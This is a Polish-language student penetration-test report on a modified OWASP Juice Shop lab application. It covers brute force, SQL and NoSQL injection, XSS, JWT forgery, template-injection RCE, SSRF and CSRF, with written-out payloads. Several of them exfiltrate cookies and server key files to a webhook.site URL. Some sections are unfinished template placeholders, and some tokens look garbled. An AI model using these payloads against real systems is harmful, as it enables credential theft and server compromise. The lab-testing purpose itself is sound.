

Raport bezpieczeństwa dostarczonej wersji aplikacji Juice Shop

Filip Horst 311257

I. WSTĘP

I wish you the best of success.

A. Wprowadzenie

Co badane

B. Struktura raportu

Jak przedstawiane

C. Metoda badania

Jak badane

D. Narzędzia

Czym badane

II. ATAK BRUTEFORCE

Atak odbył się przy pomocy prostego skryptu sprawdzającego, czy kolejne hasła z listy 1050 popularnych dają dostęp do wybranego konta.

Metoda	Końcówka	Nagłówki	Ciasteczka	Dane	Odpowiedź/wynik
GET	/rest/user/login	-	-	{'email':admin@juice-sh.op, 'password':admin123}	w tym przykładzie kod 200, bo hasło poprawne w pozostałych kod 401 z błędem

Łamanie hasła tą metodą w wybranym uruchomieniu zajęło 116 prób w 9.05 s, co daje 0.078s na próbę - znacznie szybciej niż mógłby to wykonać człowiek, czyli aplikacja jest podatna na bruteforce.

APLIKACJA PODATNA NA BRUTEFORCE LOGIN

III. ATAKI SQL INJECTION

A. Wydobycie haseł użytkowników (Podstawowe SQL Injection)

Atak miał na celu wykorzystanie SQL Injection do wydobycia haseł użytkowników z bazy danych sklepu.

Schemat ogólny ataku:

Metoda	Końcówka	Nagłówki	Ciasteczka	Dane	Odpowiedź/wynik
GET	/rest/products/?q=apple')) union select 1,2,3,4,5,6,7,8,group_concat(tbl_name) from sqlite_master where type='table' and tbl_name not like 'sqlite_%'--	-	-	-	200 { "status": "success", "data": [{ "id": 1, "name": 2, "description": 3, "price": 4, "deluxePrice": 5, "image": 6, "createdAt": 7, "updatedAt": 8, "deletedAt": "Users, Addresses..."

Główną zmienną jest tutaj parametr Query String o nazwie q, który dla tej końcówki pozwala na dostęp do bazy danych.

Atak został podzielony na trzy etapy:

- Zdobycie informacji o bazie
 - Parametr/zapytanie

```
?q=apple')) union select 1,2,3,4,5,6,7,8,group_concat(tbl_name) from sqlite_master where  
type='table' and tbl_name not like 'sqlite_%'--
```

– Odpowiedź serwera

```
[ 'Users', 'Addresses', 'Baskets', 'Products', 'BasketItems', 'Captchas', 'Cardsedbacks',
  'ImageCaptchas', 'Memories', 'PrivacyRequests', 'Quantities', 'Recyclllets' ]
```

Odpowiedź zawiera listę tabel niesystemowych, dzięki czemu wiadomo jak nazywa się tabela zawierająca potencjalnie wartościowe dane. Ten atak wykorzystuje już wcześniej znaną informację o wersji bazy aplikacji. Bez takiej wiedzy należało by to zbadać stosując np. charakterystyczne funkcje różnych implementacji baz danych

• Zdobycie informacji o tabeli

– Parametr/zapytanie

```
?q=apple')) union select 1,2,3,4,5,6,7,8,group_concat(sql) from sqlite_master where type
='table' and tbl_name like 'Users%'--
```

– Odpowiedź serwera

```
CREATE TABLE `Users` (`id` INTEGER PRIMARY KEY AUTOINCREMENT, `username` VARCHAR `
password` VARCHAR(255), `role` VARCHAR(255) DEFAULT 'customer', `deluxeToken` 55)
DEFAULT '0.0.0.0', `profileImage` VARCHAR(255) DEFAULT '/assets/public/imag5)
DEFAULT '', `isActive` TINYINT(1) DEFAULT 1, `createdAt` DATETIME NOT NULL, IME)
```

Odpowiedź zwraca kod SQL tworzący tabelę, z którego łatwo wywnioskować jakie kolumny zawiera

• Pobranie danych użytkowników

– Parametr/zapytanie

```
?q=apple')) union select 1,2,3,4,5,6,group_concat(username),group_concat(email),
group_concat(password) from users;--
```

– Odpowiedź serwera

```
[ ('', 'admin@juice-sh.op',
'240be518fabd2724ddb6f04eeb1da5967448d7e831c08c8fa822809f74c720a9'),
('', 'jim@juice-sh.op',
'c534541702f7e186e3520e8e929c1b9c19b3afc7be14adc5491a64a7563e963c'), ...
```

Proste wykonanie ataku z wykorzystaniem wydobytej wcześniej wiedzy pozwala na pobranie hashy haseł użytkowników w celu wykonania szybszych, ukrytych ataków lokalnych

APLIKACJA PODATNA NA SQL INJECTION

B. Wydobycie hasha znanego użytkownika (Blind SQL Injection)

Celem ataku był endpoint służący do logowania. Wykorzystywanym bitem informacji było zalogowanie, bądź jego brak w zależności od dodatkowego warunku wstawionego w pole email. Warunek ten sprawdzał, czy znak na danej pozycji hashu hasła jest równy np. "2". Jeśli to była prawda dochodziło do zalogowania, natomiast w przeciwnym wypadku zwracany był błąd 401 Invalid email or password. Ten atak wykorzystuje inną podatność jaką jest brak zabezpieczeń przed SQL Injection na tym endpointzie.

Atak został przeprowadzony z użyciem prostego skryptu, który iteracyjnie sprawdzał kolejne znaki na kolejnych pozycjach, aż do uzyskania pełnego hashu.

W tabeli zawarty został przykład sprawdzający, czy pierwszy znak (odpowiada za to drugi argument funkcji substr) hashu jest równy "2".

Metoda	Końcówka	Nagłówki	Ciasteczka	Dane	Odpowiedź/wynik
POST	/rest/user/login	-	-	{ "email": "admin@juice-sh.op" and substr(password,1,1)='2' - ", "password": "" }	200 + TOKEN

Przykład zakończył się logowaniem, czyli skrypt zapisywał znak "2" jako poprawny i przechodził do kolejnej pozycji, aż do napotkania pozycji dla której żaden znak z listy nie był właściwy (czyli hash się skończył). Wykonanie skryptu pozwoliło na pobranie wartości hashu hasła administratora:

```
240be518fabd2724ddb6f04eeb1da5967448d7e831c08c8fa822809f74c720a9
```

APLIKACJA PODATNA NA BLIND SQL INJECTION

C. Masowa modyfikacja opinii (NoSQL Injection)

Atak polegał na modyfikacji wszystkich opinii zawartych w bazie danych sklepu jednym zapytaniem. W tym celu wykorzystany został endpoint `/rest/products/reviews`, który współpracuje z bazą NoSQL (jest to wcześniej posiadana wiedza - bez niej należało by testować endpointy charakterystycznymi funkcjami nosql (np. `$eq`, `$neq`) w danych lub zdobyć tę wiedzę w inny sposób). Z powodu braku zabezpieczeń pole `id` mogło zostać zamienione na wyszukanie wszystkich opinii, których `id` nie jest równe pustemu ciągowi znaków (czyli wszystkich). W przeciwieństwie do funkcji polubienia, aktualizacja działa na wiele dokumentów jednocześnie, co ułatwia atak.

Metoda	Końcówka	Nagłówki	Ciasteczka	Dane	Odpowiedź/wynik
PATCH	/rest/products/reviews	Authentication: Bearer TOKEN	token: TOKEN	{ "id":{"\$ne":"" }, "message":"I am silly" }	{ "modified":30,"original": [{"message":"I am silly2", "author": "mc.safesearch@juice-sh.op", "product":36, 200 "likesCount":8, "likedBy":["filip@mail.com"], "_id":"2owc86xGahDSdmfvJ"}, {"message":"I am silly2", "author":"bjoern@owasp.org", "product":44... }

Wynik dowodzi, że zmodyfikowana została duża liczba opinii ("modified": 30). Skutkiem zapytania jest więc stosunkowo poważne zniszczenie bazy danych opinii.

APLIKACJA PODATNA NA NO SQL INJECTION

IV. ATAKI XSS

A. Kradzież ciasteczek przez reflected XSS

W tabeli została zawarta ścieżka prezentująca atak typu reflected XSS.

Metoda	Końcówka	Nagłówki	Ciasteczka	Dane	Odpowiedź/wynik
GET	/#/search?q= apple"	-	-	-	Zwykły dokument HTML

Mimo ostrzeżeń i blokad związanych z Cross-Origin Resource Sharing zapytanie GET wychodzące z kodu JS zostało wysłane, a co za tym idzie na stronie webhook dostępna była pełna treść ciasteczka użytkownika, czyli również jego token (jeśli był zalogowany).

Alternatywna metoda wykonania ataku, która nie sprawia problemów z CORS jest zainspirowana przez jeden z wpisów w poście

<https://stackoverflow.com/questions/247483/http-get-request-in-javascript>. Polega ona na utworzeniu nowego elementu typu `image` i ustawieniu odpowiedniego źródła. Kod zawarty w XSS wygląda w niej następująco:

```
var i = document.createElement('img');
i.src = 'https://webhook.site/3f406f22-779e-44a3-a7ce-05e9146aa009?cookie=' + document.cookie;
```

Na stronie webhook wykradzione dane (w tym token) są dostępne w formie URL zapytania:

```
https://webhook.site/3f406f22-779e-44a3-a7ce-05e9146aa009?cookie=language=en;%20
welcomebanner_status=dismiss;%20cookieconsent_status=dismiss;%20continueCode=
zj8exOlDwJKkP5gRLapr74mAYof8tgLuKJH84G2vEWqnB6yVobZ9zMY1NX3Q;%20token=eyJ0eXAiOiJKV1QiLCJ
...
```

APLIKACJA PODATNA NA REFLECTED XSS

B. Atak stored XSS oraz modyfikacja CSP

1) *Modyfikacja CSP*: Modyfikacja CSP odbyła się poprzez odpowiednią preparację linku do awatara użytkownika.

Metoda	Końcówka	Nagłówki	Ciasteczka	Dane	Odpowiedź/wynik
POST	/profile/image/url	Authentication: Bearer TOKEN	token: TOKEN	{"imageUrl":"http://assets/public/images/uploads/1.jpg; script-src 'unsafe-inline'"}	302 /profile

Po wykonaniu powyższego zapytania nagłówki CSP zwracany przez sklep na profilu użytkownika wyglądał następująco:

```
img-src 'self' http://assets/public/images/uploads/1.jpg; script-src 'unsafe-inline'; script-  
src 'self' 'unsafe-eval' https://code.getmdl.io http://ajax.googleapis.com
```

co wskazuje na to, że skrypty o niezwyferyfikowanym źródle zostały aktywowane (co potwierdza obecność 'unsafe-inline' na liście script-src) na stronie profilu. Nie udało się znaleźć innych endpointów, gdzie prezentowane były awatary użytkownika, dlatego atak ten jest bardzo ograniczony. Ponadto, jest to tylko atak pomocniczy do Stored XSS.

2) *StoredXSS*: W badanej implementacji sanityzacja została poprawiona, dlatego nie udało się wykonać XSS na pseudonimie użytkownika. Sprawdzone zostało wiele kombinacji, jednak ze względu na brak powodzenia można uznać, że użyta biblioteka jest na tyle dobra, że walka z nią nie ma większego sensu i lepiej spróbować podejść do problemu w innym miejscu, bądź inną niebezpieczną metodą

W tabeli zawarty został schemat prostego ataku XSS z przykładowymi danymi. Badane były również takie wartości pola username jak np. "<script>script<script>alert('Modified CSP')</script>", które działało w podstawowej implementacji JuiceShop, jednak tutaj zostało poprawnie zsanityzowane.

Metoda	Końcówka	Nagłówki	Ciasteczka	Dane	Odpowiedź/wynik
POST	/profile	Authentication Bearer TOKEN	token: TOKEN	{'username': "<p <img <a href=javascript:'javascript:alert('ModifiedCSP')' 	302 /profile

Poszukiwania podatności na Stored XSS objęły również inne endpointy. Na każdym z nich testowane były różne kombinacje znaków (w szczególności /,<,>,";',), tagów script/img i innych losowych ciągów z jednoczesną obserwacją, czy wstawiane do bazy elementy wykazują potencjał na skuteczny XSS.

- Modyfikacja pola email przy rejestracji (POST /api/Users/
"email": "x<script>alert()</script>de@mail.com")
- Dodawanie i modyfikacja pól message oraz author recenzji (PUT /rest/products/1/reviews:
"message": "<script><<script>alert()</script>",
"author": "<<script><<script>alert()</script>")
- Dodawanie opinii customer feedback z atakiem w polu comment
- Atak inspirowany przez mutation XSS na username (POST /profile:
username=script<style = width:0px>><<

) - wydaje się częściowo skuteczne, ale znak < był zawsze usuwany, więc ostatecznie nic nie udało się osiągnąć

Po tych próbach uznano, że atak XSS jest zbyt trudny w realizacji ze względu na poprawioną sanityzację. Jako formę jej ominięcia podjęto próbę modyfikacji zawartości bazy danych, aby uzyskać możliwość wstawienia ataku XSS bezpośrednio do niej (poprzez użycie SELECT CHAR(60) itp.).

- Wstrzyknięcie znaku bezpośrednio do bazy przez SQL Injection (to co opisany wcześniej SQL injection GET /rest/products/search:
"?q=apple')); update users set username='xs' where id=23; -"). W trakcie prób do tego punktu udało się ustalić, że sanityzacja XSS dla pseudonimu odbywa się przed wstawieniem do bazy (nie wiadomo jednak czy tylko przed, czy zarówno przed jak i po)
- SQL Injection na zapytania aktualizujące i wstawiające opinie, pseudonimy (PUT /rest/products/1/reviews, POST /profile). Badania oparte o wstawianie znaków ', ;, czy – w celu uzyskania komunikatu o błędzie SQL

Podobnie jak w przypadku bezpośredniego XSS próby okazały się nieskuteczne. W większości przypadków nic nie wykazywało podatności typu SQL Injection, natomiast w przypadku endpointów opisanych w raporcie, które taką podatność wykazywały nie udało się wykonać modyfikacji danych (tylko ich odczyt).

Podsumowując badania na tym etapie, zmiany w sanityzacji wewnątrz aplikacji sprawiły, że nie udało się wykonać skutecznego ataku XSS. Trzeba jednak zaznaczyć, że istnieją przesłanki że polityka CSP wciąż jest możliwa do zmiany, co nie jest dobre nawet jeśli nie da się tego wykorzystać.

V. ATAKI NA JWT

A. Brak podpisu

Atak polegał na pobraniu poprawnego tokena, zamianie zawartego w nim id użytkownika na inny (przykładowo 1 dla konta admina), a następnie wysłaniu go do chatbota, który w podstawowej aplikacji odsyła odświeżone tokeny.

Przykładowy FAKE_TOKEN był równy:

```
eyJ0eXAiOiAiSlldUiwiImFsZyI6ICJub251In0.  
eyJzdGF0dXMiOiAiY2VzcyIsICJkYXRhIjoeyJpZCI6IDEsICJlcnVybWVtZSI6ICJkYXJzIiwgImVtYVlwIjogImZpbGlwQGlhaWwUy29tIiwgImBhc3N3b3JkIjoeyJmNmNmYWE1M2RlZDQ0Mjg1OTYzMDUyZgZGNjYWNmZTllMDZlOWIOMzg3NjNiYzRiYTFlhMjM4MzNlZGQ0NzciLCJkaWV0b211ci
```

IsICJkZWxleGVUb2t1bWl6ICIiLCAibGFZdExvZ2luSXAiOiAiMTAuNDIuMTIuMTA0IiwgInByb2ZpbgVjbWFnZSI6ICJodHRwOi8vYXNzZXRzLzB1YmxpYy9pbWFnZXMvdXBsb2Fkcy8xLmpwZzsgc2NyaXB0LXNyYyAndW5zYWZlLWlubGluZSciLCAidG90cFNlY3JldCI6ICIiLCAiaXNBYS3RpdmUiOiB0cnVlLCAiY3JlYXRlZEFOIjogIjIwMjUtMDU0MTI6MDQ6MDQ6NTIuMTU4ICswMDowMCIsICJlcGRhdGVkQXQiOiAiAjmjaYnsOwNS0MiAXXN0ImlTowMi45MTYgKzAwOjAwIiwgImRlbGV0ZWZRbDci6IG51bGx9LCAiaWF0IjoqMDk0NzA2NTYxNH0.

co można rozszyfrować do danych (część nieistotnych pól została pominięta):

```
{
  "typ": "JWT",
  "alg": "none"
}

{
  "status": "success",
  "data": {
    "id": 1,
    "username": "Carl",
    "email": "filip@mail.com",
    "password": "ba6cdaa53ded44285963014c83dccacfe9e06e9b438763bc4ba1a23833edd477",
    "role": "customer",
    [...]
  },
  [...]
}
```

oraz brak trzeciej części, czyli podpisu (co potwierdza samotna kropka w tokenie).

Metoda	Końcówka	Nagłówki	Ciasteczka	Dane	Odpowiedź/wynik
POST	/rest/chatbot/respond	Authentication: Bearer FAKE TOKEN	token: FAKE TOKEN	{ "action": "setname", "query": "Carl" }	401 Unauthenticated user

Jak widać po odpowiedzi endpoint został zabezpieczony, ponieważ automatycznie odrzuca niepodpisany token jako Unauthenticated. Dla porównania wysłanie poprawnego tokena zwróciło odpowiedź:

```
200 {"action":"response","body":"Nice to meet you Carl, I'm Juicy"}
```

Warto jednak zaznaczyć, że nawet dla poprawnego tokena endpoint nie zwraca już odświeżonego tokena, co jest dodatkową poprawką w stosunku do podstawowej wersji aplikacji.

Dodatkowo, wysłanie niepodpisanego tokena metodą GET /rest/user/whoami z nagłówkiem i ciasteczkami nie zwraca danych użytkownika, więc w tym miejscu aplikacja również została poprawiona.

B. Zmiana rodzaju podpisu

Atak polegał na zaszyfrowaniu tokena z użyciem klucza publicznego sklepu, ale algorytmem symetrycznym HS256.

Przykładowy FAKE_TOKEN był równy:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJzdGF0dXMiOiJzdWNjZXRzIiwiaWZGF0eSI6eyJpZCI6MjIsInVzZXJuYW11IjoIi3t2YXIgYSA9ICdh
YmNkZWZnaCZ7dmFyIGIGPSAXmJm7IGERmZn0iLCJlbWFPbCI6ImZpbGlwQG1haWwY29tIiwicGFzc3dv
cmQiOiJiY2t2ZGFhNTNkZWQ0NDI4NTk2YmAxNGM4M2RjY2FjZmU5ZTA2ZTliNDM4ZmYzYmM0YmExYTIz
ODMzZWRkNDc3Iiwicm93Si6ImNlIiC3RvbWVYIiwiaWZGVzXh1VG9rZW4iOiIiLCJScyXN0TG9naW5JcCI6
IjEwLjQyLjEyLjEwNCIsInByb2ZpbGVJbWFnZSI6Imh0dHA6Ly9hc3NldHMvchVibGljL2ltYWdlcy91
cGxvYWRzLzIyLmpwZz9hPWI7IHNjcmlwdC1zcmluZ3Vuc2FnZS1pbmtpbmUnIiwidG90cFNlY3JldCI6
IiIsImVzZXJlZm90cXZlIjp0cnVlLCJpcmludGVhZG90cXQyOiIiLCJlYMDiLTA1LTEyIDA5OjA0OjUyLjE0OCARMDA6
MDAiLCJlGRhdGVkVXQyOiIiLCJlYMDiLTA1LTEyIDA5OjE0OjUyLjE0OCARMDA6MDAiLCJkZWxldGVkVXQyOiIi
MDA5LmBx9LGRhZG90cXQyOiIiLCJlYMDiLTA1LTEyIDA5OjE0OjUyLjE0OCARMDA6MDAiLCJkZWxldGVkVXQyOiIi

co można rozszyfrować do danych (część nieistotnych pól została pominięta):

```
{
  "typ": "JWT",
  "alg": "HS256"
}

{
  "status": "success",
  "data": {
    "id": 22,
    "username": "johndoe",
    "password": "123456"
  }
}
```

```

    "username": "Carl",
    "email": "filip@mail.com",
    "password": "ba6cdaa53ded44285963014c83dccacfe9e06e9b438763bc4ba1a23833edd477",
    "role": "customer",
    [...]
  },
  [...]
}

```

Podpis stanowiący trzecią część tokena został dodatkowo zweryfikowany z użyciem serwisu jwt.io poprzez wklejenie sekretu aplikacji (/encryptionkeys/jwt.pub).

Metoda	Końcówka	Nagłówki	Ciasteczka	Dane	Odpowiedź/wynik
GET	/rest/user/whoami	Authentication: Bearer FAKE_TOKEN	token: FAKE_TOKEN	-	200 {"user":{}}

Mimo pozytywnego kodu aplikacja nie zwraca żadnych informacji o użytkowniku, co oznacza że token nie jest akceptowany. Jak się jednak okazało endpoint whoami zwracał pustą odpowiedź również dla poprawnego tokena, dlatego w celu sprawdzenia zabezpieczeń podjęta została próba zmiany pseudonimu z użyciem sztucznego JWT:

Metoda	Końcówka	Nagłówki	Ciasteczka	Dane	Odpowiedź/wynik
GET	/rest/user/whoami	Authentication: Bearer FAKE_TOKEN	-	{"username":"abc"}	500 Error: Blocked illegal activity by :....

Jak widać próba wykonania tego ataku zakończyła się blokadą ze strony serwera (podobnie było przy teście tego endpointu z JWT bez podpisu). Dla porównania dla poprawnego JWT zapytanie kończyło się zmianą pseudonimu i przekierowaniem 302 na /profile.

Podsumowując bezpieczeństwo żetonów JWT zostało poprawione w tej wersji aplikacji.

APLIKACJA NIE WYKAZUJE PODATNOŚCI NA MANIPULACJE JWT

VI. ATAK REMOTE CODE EXECUTION

A. Wykorzystanie RCE do wykonania XSS (błąd generacji szablonu strony)

Atak ten jest rozwinięciem prób związanych z wykonaniem XSS z użyciem funkcji dodawania username dla użytkownika. Element wyświetlający pseudonim w szablonie strony jest niepoprawnie zabezpieczony, co umożliwia wykonanie kodu JavaScript i wyświetlenie jego wyników. Pozwala to na wstawienie tagu script przy pomocy funkcji String.fromCharCode(60) dla '<' i 62 dla '>'. W danych zawartych w tabeli wysłany kod jest zwykłym połączeniem ciągów znaków i klamr uzyskanych funkcją. Kod URL %2B odpowiada znakowi dodawania '+'.
 Kod URL %2B odpowiada znakowi dodawania '+'.

Metoda	Końcówka	Nagłówki	Ciasteczka	Dane	Odpowiedź/wynik
POST	/profile	Authentication: Bearer TOKEN	token: TOKEN	{'username'='#'{String.fromCharCode(60)}%2B'script'%2BString.fromCharCode(62)%2B"alert('abc')"%2BString.fromCharCode(60)%2B'script'%2BString.fromCharCode(62)}'}	302 /profile

Po wykonaniu takiego zapytania wejście na profil użytkownika skutkuje wyświetleniem alertu przeglądarki, co potwierdza powodzenie ataku XSS. WAŻNE! Ze względu na politykę CSP do wykonania XSS potrzebny jest odpowiedni atak pomocniczy na awatar, który modyfikuje politykę CSP. Atak ten został już opisany w sekcji poświęconej XSS. Oczywiście atak ten można wykorzystać do ambitniejszych celów typu kradzież ciasteczek, ale to już zostało zaprezentowane w Reflected XSS.

Powodzenie tego typu ataku stanowi jednocześnie dowód, że sanityzacja danych odbywa się tylko na etapie użytkownik -> baza, natomiast nie działa poprawnie na etapie baza -> zwracana strona.

Inne miejsca, w których został przetestowany atak RCE podobną metodą (wykorzystując szablony strony), ale się nie powiódł:

- Opinie produktów
- Customer Feedback
- Rejestracja mailem #{2+2}@mail.com

B. Kradzież danych z serwera z użyciem RCE na szablonie

Atak działa analogicznie do opisanego poprzednio wykorzystania RCE do uzyskania efektu XSS - zmienia się tylko zawartość przesyłana jako nowy pseudonim. W tym przypadku jest to prosty skrypt przeglądający plik serwerowy i wysyłający go na webhook:

```
{'username': "#{var fs = require('fs'); var l = fs.readFileSync('/juice-shop/encryptionkeys/premium.key'); var url = 'https://webhook.site/3f406f22-779e-44a3-a7ce-05e9146aa009'; url = url.concat('?data=', l); fetch(url); url}"}
```

Skutkiem tego zapytania jest otrzymanie klucza premium na skrzynkę webhook.

Innym ciekawym użyciem jest podglądanie konfiguracji systemu korzystając z pseudonimu (kod wygenerowany częściowo z pomocą Copilot):

```
{'username': "#{require('https').get('https://webhook.site/3f406f22-779e-44a3-a7ce-05e9146aa009?data=' + encodeURIComponent(require('fs').readFileSync('/etc/hosts', 'utf8')));}"}
```

Wynikiem zapytania jest:

```
127.0.0.1 localhost localhost.localdomain localhost4 localhost4.localdomain4 ::1 localhost
localhost.localdomain localhost6 localhost6.localdomain6 169.254.1.2 host.containers.
internal host.docker.internal 10.42.12.104 52102d4cdf52 naughty_mclean
```

Na tej podstawie można się na przykład, że aplikacja działa w konterze i ma dostęp do sieci wewnętrznej kontenerów. Atakujący mógłby wykorzystać tę wiedzę do kolejnych ataków, które mogły by doprowadzić do ucieczki z kontenera.

C. RCE w zapytaniach do baz NoSQL

Niepoprawna sanitizacja danych przed wykorzystaniem komendy \$where w bazie NoSQL sprawia, że można wykonywać dodatkowe polecenia z użyciem JavaScript

Metoda	Końcówka	Nagłówki	Ciasteczka	Dane	Odpowiedź/wynik
GET	/rest/products/1%20%26%26%20fetch\ ('https%3A%2F%2Fwebhook. site%2F3f406f22-779e-44a3-a7ce-05e9146aa009') /reviews	-	-	-	200

Przed zamianą niektórych znaków na kody URL odpytwana końcówka wyglądała następująco:

```
/rest/products/1 && fetch(...)/reviews
```

Skutkiem takiego zapytania jest puste żądanie otrzymane po stronie webhook'a. Niestety (z perspektywy atakującego) kontekst polecenia \$where nie pozwala na wykorzystanie tej podatności do wyciągnięcia wartościowych danych, ponieważ wszystkie opinie i tak są dostępne. Jest to jednak ważna podatność, ponieważ może się przydać do innych ataków (podobnie jak to miało miejsce z modyfikacją CSP i użyciu RCE do wykonania XSS).

APLIKACJA PODATNA NA WIELE METOD WYKONYWANIA RCE

VII. UDOSTĘPNIONE DANE O SZCZEGÓŁACH STRONY

Pliki źródłowe strony nie są w żaden sposób zabezpieczone, ani zminifikowane, więc w bardzo łatwy sposób można je przeglądać. Jak się okazuje zawarte jest w nich kilka interesujących ścieżek:

- Podglądanie koszyków
Jedną ze znalezionych końcówek jest /basket/id. Okazuje się, że każdy użytkownik może podejrzeć dowolny koszyk pod warunkiem, że zapytanie będzie zawierać nagłówek z autoryzacją. Oznacza to, że wystarczy się zalogować, by podejrzeć wszystkie koszyki co jest oczywistym naruszeniem prywatności.
- Panel administracyjny
Po zalogowaniu się na konto administratora otrzymuje się dostęp do specjalnego panelu pod ścieżką /#/administration. Informacja o tej końcówce została znaleziona w pliku strony main.js (Line 1, Column 29862). Trzeba jednak zaznaczyć, że jest to dość specyficzna podatność, bo jest to element odpowiedzi od twórców JuiceShop.
- Inne ciekawe znalezione końcówki, których nie udało się wykorzystać
/wallet-web3, /web3-sandbox

APLIKACJA UDOSTĘPNIŁA DANE NIEODPOWIEDNIEM UŻYTKOWNIKOM

VIII. INNE PODATNOŚCI I POTENCJALNE NIEBEZPIECZEŃSTWA: ROZWAŻANIA

A. Atak Server Side Request Forgery

Działanie końcówki do ustawiania awatara pozwala aktualnie na wykonywanie żądań GET oraz podglądanie zwracanej zawartości.

Metoda	Końcówka	Nagłówki	Ciasteczka	Dane	Odpowiedź/wynik
POST	/profile/image/url	-	-	{"imageUrl":"http://169.254.1.2"}	302 /profile

Następnie zapytanie (id 22 uzyskane na podstawie śledzenia pakietów w Burp):

```
GET /assets/public/images/uploads/22.jpg
```

można podejrzewać zawartość strony, którą jest Test Page Fedora:

```
<!doctype html>
<html>
  <head>
    <meta charset='utf-8'>
    <meta name='viewport' content='width=device-width, initial-scale=1'>
    <title>Test Page for the HTTP Server on Fedora</title>
    <style type="text/css">
      /*<![CDATA[*]
      [...]
```

Ten przykład jest niegroźny, ale nie jest ciężko sobie wyobrazić, że bardziej doświadczony atakujący mógłby wykorzystać program automatycznie przeszukujący sieć i w ten sposób wykorzystać SSRF to wyszukania kolejnych potencjalnych węzłów do ataku.

Ta metoda ataku została również użyta do wysłania żądania na webhook. Czynność powiodła się bez problemu, co daje atakującemu użycie sklepu do wykonywania podejrzanych połączeń i np. dodatkowego ukrycia się przy rekonesansie zupełnie niepowiązanych serwisów (mógłby wykonać rekonesans jako sklep używając SSRF, a następnie usunąć historię swoich połączeń ze sklepu przez znalezione wcześniej RCE zacierając swoje ślady)

APLIKACJA UMOŻLIWIA WYKONANIE SSRF (W TYM RÓWNIEŻ NA SIECI WEWNĘTRZNEJ)

B. Cross Site Request Forgery

Podjęte zostały próby wykonania ataku CSRF. Zakończyły się one klęską i wyświetleniem ostrzeżeń o podejrzanej działalności.

Do testów użyty został następujący kod na stronie htmledit.squarefree.com/:

```
<html>
  <body>
    <form method="POST" action="https://adoringcohen.acme.edu.pl/profile">
      <input type="hidden" name="username" value="im_a_victim"/>
      <input type="submit" value="Submit">
    </form>
  </body>
</html>
```

Jak pokazuje analiza żądania w BurpSuite problem stanowi to, że użyta przeglądarka nie dokleiła ciasteczek, mimo że użytkownik był aktualnie zalogowany:

```
POST /profile HTTP/2
Host: adoringcohen.acme.edu.pl
Content-Length: 20
Cache-Control: max-age=0
Sec-Ch-Ua: "Not.A/Brand";v="99", "Chromium";v="136"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: pl-PL,pl;q=0.9
Origin: https://htmledit.squarefree.com
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
  Chrome/136.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng
  ,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
```



```
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: frame
Sec-Fetch-Storage-Access: active
Referer: https://htmledit.squarefree.com/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
```

```
username=im a victim
```

Ręczne dodanie ciasteczek do tego samego żądania (wykorzystując dane z innych prostych przykładów) pozwoliło na zmianę pseudonimu. Podczas przeglądu internetu po wskazówki dotyczące ataku okazało się, że wielu użytkowników ma podobne problemy i sięgają po starsze wersje przeglądarek do rozwiązania tego zadania. Sam fakt, że wystarczy dokleić ciasteczko i sklep dopuści takie żądanie nawet mimo obecności nagłówków typu Sec-Fetch-Site: cross-site pokazuje jednak, że nie jest on dostatecznie zabezpieczony i klienci ze starszym sprzętem mogą być ofiarami ataków.

Żądanie, które zmieniał pseudonim (pozostałe elementy/nagłówki były identyczne jak w powyższym, atak wykonywany był przez BurpSuite):

```
[...]
Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=xkV4XwOjLlQmrd8Btoi3t4fzt1TyWuY3HKAheVtazU3WFJ906gBbWaERzZMy; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzZDWNjZXRZXiwiZiwiZGF0YSI6eyJpZCI6MjIsInVzZXJuYWI1Ijoii3tyZXFlaXJlKCDodHRwcycpLmdldCgnaHR0cHMlYy93ZWJob29rLnNpdGUvM2YOMDZmMjItNzc5ZS00NGEzLWE3Y2UtMDVlOTE0NmFmdA5P2RhdGE9JyArIGVuY29kZVVSSUNvbXBvbmVudChyZXFlaXJlKCDmcycpLnJlYWRRGaWx1U3luYygnL2V0Yy9ob3N0cyysICdlIdGY4JykpKTt9IiwizWlhaWwiOiJmaWxpceBtYwlsLmNvbSIsInBhc3N3b3JkIjoieyYmeE2Y2RhYTUZGVkNDQyODU5NjMwMTRjODNkY2NhY2ZlOWUwNmU5YjQzODc2M2JjNGJhMWweYmZgzM2VkZDQ3NyIsInJvbGUuOiJjdXN0b2llciIsImRlbHV4ZVRva2VuIjoieiwibGFzdExvZ2luSXAAiOiIxMC40Mi4xMDQiLCJwcm9maWxlSlw1h2UiOiJodHRwcyczovL2Fkb3Jpbmdjb2hlbi5hY211LmVkdS5wbC9hc3NldHMvcHViQGJlJ2ltYWdlcy9lcGxvYWRzL2RlZmFlbHQuc3ZnIiwidG90cFNlY3JldCI6IiIsImzlZWQN0axZlIjp0cnVlLCJjcVhdGVkQXQiOiIyMDI1LTAlLTE2VDEwOjM0OjQyLjMwMloiLCJlcGRhdGVkQXQiOiIyMDI1LTAlLTE2VDE1OjA3OjExLjcwMloiLCJkZWxldGVkQXQiOm51bGx9LCJpYXQiOiJE3NDc0MDgwMzJ9.d8jrsNnP1HZ-3WV
BciAynupl7-BwDyl103JYO5P56G79iwEdWTppUx-uXo29QmaHZn2bt9daaiunWuf5YAuhcgDVeJiDAYnulLo1MHipJpKbn5f2sHdSrtGh9-qgw3un0oof8TQ6Syh0WConJwhfwUs5GVT9nao3O4260w6QEzs[...]

```

APLIKACJA NIE ZAPOBIEGA ATAKOM CSRF

IX. WZÓR

A. ABC DEF

Metoda	Końcówka	Nagłówki	Ciasteczka	Dane	Odpowiedź/wynik
POST	/rest/chatbot/respond	Authentication: Bearer TOKEN	token: TOKEN	{ "action": "setname", "query": "Carl" }	401 {"error": "Unauthenticated user"}

X. PODSUMOWANIE I WNIOSKI

The conclusion goes here.